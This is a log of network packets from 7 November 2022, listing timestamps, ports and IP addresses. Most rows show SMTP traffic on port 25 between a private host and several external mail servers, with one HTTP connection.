Nov 7, 2022 22:24:31.143809080 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.143835068 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.143861055 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.143887043 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.143912077 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.143938065 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.143965006 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.143991947 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144017935 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144043922 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144068956 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144095898 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144123077 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144153118 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144196033 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144352913 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144382954 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144408941 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144437075 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144464016 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144489050 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144516945 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144546986 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144573927 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144610882 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144650936 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144681931 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144709110 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144733906 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144762039 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144792080 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144818068 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144844055 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.144870996 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.172739029 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.172787905 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173485041 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173521996 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173547983 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173569918 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173592091 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173614979 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173635960 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173659086 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173681021 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173702955 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173724890 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173746109 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173770905 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173791885 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173815012 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173839092 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173861027 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173883915 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173907995 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173928976 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173952103 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173974037 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.173995018 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.174019098 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.174041033 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.174065113 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175093889 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175132990 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175156116 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175178051 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175199032 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175223112 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175245047 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175266027 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175282001 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175285101 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.175304890 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175328016 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175349951 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175362110 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.175362110 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.175401926 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.175401926 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.175438881 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.175462008 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175487995 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175510883 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175534010 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175559044 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175570011 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.175570011 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.175580978 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175602913 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.175618887 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.175642014 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.175667048 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.205271006 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205303907 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205326080 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205346107 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205423117 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.205423117 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.205499887 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205523968 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205543041 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205562115 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205579996 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205598116 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205615997 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205636978 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205672979 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.205703974 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.205725908 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.205888033 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.205909967 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206037998 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206039906 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.206058979 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206094027 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206115007 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206124067 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.206134081 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206154108 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206162930 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.206172943 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206191063 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206208944 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206227064 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206245899 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206264019 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206598997 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206623077 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206645012 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206665993 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206741095 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206758976 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206779003 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206809998 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206828117 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206846952 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206859112 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206914902 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.206937075 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207040071 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207062006 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207094908 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207113028 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207129955 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207146883 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207267046 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207285881 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207305908 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207326889 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207339048 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207360029 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207379103 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207397938 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207417011 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207434893 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207453966 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207473993 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207492113 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207509995 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207528114 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207545996 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207564116 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207585096 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207603931 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207622051 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207640886 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.207660913 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235553026 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235605001 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235632896 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235655069 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235676050 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235694885 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235716105 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235737085 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235749960 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235771894 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235791922 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235811949 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.235872030 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236049891 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236078024 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236097097 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236115932 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236274958 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236659050 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236849070 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236891985 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236915112 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236934900 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236957073 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236975908 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.236994982 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.237015009 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.237035036 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.237052917 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.237070084 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.237088919 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.237108946 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.245208979 CET	49753	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:31.245374918 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:31.245452881 CET	49755	25	192.168.2.5	104.47.59.138
Nov 7, 2022 22:24:31.265585899 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.265633106 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.265657902 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.265681982 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.265705109 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.265727043 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.265749931 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.265774012 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.265923977 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.266007900 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.266051054 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.266073942 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.266098022 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.266120911 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.266145945 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.266185045 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.266208887 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.266246080 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.266268969 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.266911030 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.266942024 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.267709970 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.267757893 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.268201113 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.268302917 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.268328905 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.268352032 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.268374920 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.268397093 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.268419027 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.268440008 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.268502951 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.268526077 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.268548965 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.268572092 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.342787027 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.379617929 CET	25	49755	104.47.59.138	192.168.2.5
Nov 7, 2022 22:24:31.379715919 CET	49755	25	192.168.2.5	104.47.59.138
Nov 7, 2022 22:24:31.389292002 CET	25	49753	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:31.389377117 CET	49753	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:31.402636051 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.516418934 CET	25	49755	104.47.59.138	192.168.2.5
Nov 7, 2022 22:24:31.531483889 CET	49755	25	192.168.2.5	104.47.59.138
Nov 7, 2022 22:24:31.542506933 CET	25	49753	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:31.561969042 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:31.562103987 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:31.622522116 CET	49753	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:31.666378021 CET	25	49755	104.47.59.138	192.168.2.5
Nov 7, 2022 22:24:31.672715902 CET	49753	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:31.673384905 CET	49755	25	192.168.2.5	104.47.59.138
Nov 7, 2022 22:24:31.745668888 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:31.808655977 CET	25	49755	104.47.59.138	192.168.2.5
Nov 7, 2022 22:24:31.818113089 CET	25	49753	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:31.844979048 CET	49755	25	192.168.2.5	104.47.59.138
Nov 7, 2022 22:24:31.845015049 CET	49753	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:31.867216110 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:31.867292881 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:31.980635881 CET	25	49755	104.47.59.138	192.168.2.5
Nov 7, 2022 22:24:31.988934040 CET	25	49753	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:31.989089012 CET	49753	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:32.000514030 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:32.000674963 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:32.019238949 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:32.028759956 CET	49755	25	192.168.2.5	104.47.59.138
Nov 7, 2022 22:24:32.066832066 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:32.123605967 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:32.174487114 CET	25	49753	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:32.313488007 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:32.313690901 CET	49755	25	192.168.2.5	104.47.59.138
Nov 7, 2022 22:24:32.317292929 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:32.404721975 CET	25	49753	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:32.429207087 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:32.429641008 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:32.440772057 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:32.498735905 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:32.528821945 CET	49753	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:32.734050989 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:32.734142065 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:32.815629005 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:32.938407898 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:32.945849895 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:32.968008041 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:32.970330000 CET	49753	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:33.003550053 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:33.262510061 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:33.365947008 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:33.398437023 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:33.412739992 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:33.544945955 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:33.568454027 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:33.729515076 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:33.848922968 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:33.930912018 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:33.932955027 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.051747084 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.106086016 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:34.144177914 CET	49752	25	192.168.2.5	85.187.148.2
Nov 7, 2022 22:24:34.249703884 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.254354000 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:34.368514061 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.368549109 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.368571997 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.368593931 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.368607998 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.368613005 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.368635893 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.368658066 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.368664980 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.368664980 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.368680954 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.368700981 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.368704081 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.368700981 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.368726015 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.368750095 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.368772984 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.616719961 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:34.640866995 CET	49770	80	192.168.2.5	63.251.126.10
Nov 7, 2022 22:24:34.685349941 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685394049 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685414076 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685431957 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685450077 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685446978 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685446978 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685470104 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685489893 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685509920 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685523987 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685528040 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685523987 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685523987 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685545921 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685566902 CET	25	49754	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:34.685573101 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685573101 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685573101 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:34.685585976 CET	25	49754	142.250.157.27	192.168.2.5
